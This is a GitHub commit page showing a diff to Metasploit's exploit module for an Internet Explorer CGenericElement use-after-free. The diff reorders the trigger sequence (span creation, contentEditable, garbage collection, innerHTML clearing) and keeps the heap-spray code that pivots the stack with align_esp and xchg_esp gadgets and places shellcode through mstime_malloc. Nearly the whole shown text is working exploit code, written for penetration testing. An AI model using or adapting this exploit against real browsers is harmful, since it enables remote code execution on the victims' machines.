Skip to content

Commit 30a019e

Browse files
author
jvazquez-r7
committed
Land rapid7#1891, @wchen-r7's improve for ie_cgenericelement_uaf
2 parents 055e0a2 + cc951e3 commit 30a019e

File tree

1 file changed

+6
-14
lines changed

1 file changed

+6
-14
lines changed

modules/exploits/windows/browser/ie_cgenericelement_uaf.rb

Lines changed: 6 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -222,7 +222,6 @@ def load_exploit_html(my_target, cli)
222222
<meta>
223223
<?IMPORT namespace="t" implementation="#default#time2">
224224
</meta>
225-
226225
<script>
227226
#{js_mstime_malloc}
228227
@@ -234,43 +233,36 @@ def load_exploit_html(my_target, cli)
234233
}
235234
sparkle += unescape("AB");
236235
sparkle += unescape("#{js_payload}");
237-
238236
magenta = unescape("#{align_esp}");
239-
240237
for (i=0; i < 0x70/4; i++) {
241238
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
242239
else { magenta += unescape("#{align_esp}"); }
243240
}
244-
245241
magenta += sparkle;
246242
243+
document.body.contentEditable="true";
247244
f0 = document.createElement('span');
248-
document.body.appendChild(f0);
249245
f1 = document.createElement('span');
250-
document.body.appendChild(f1);
251246
f2 = document.createElement('span');
247+
document.body.appendChild(f0);
248+
document.body.appendChild(f1);
252249
document.body.appendChild(f2);
253-
document.body.contentEditable="true";
250+
for (i=0; i < 20; i++) { document.createElement("img"); }
254251
f2.appendChild(document.createElement('datalist'));
255252
f1.appendChild(document.createElement('span'));
253+
CollectGarbage();
256254
f1.appendChild(document.createElement('table'));
257-
258255
try { f0.offsetParent=null;}
259256
catch(e) { }
260-
261257
f2.innerHTML = "";
262-
f0.appendChild(document.createElement('hr'));
263258
f1.innerHTML = "";
264-
265-
CollectGarbage();
259+
f0.appendChild(document.createElement('hr'));
266260
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
267261
}
268-
269262
</script>
270263
</head>
271264
<body onload="eval(helloWorld());">
272265
<t:ANIMATECOLOR id="myanim"/>
273-
274266
</body>
275267
</html>
276268
|

0 commit comments

Comments
 (0)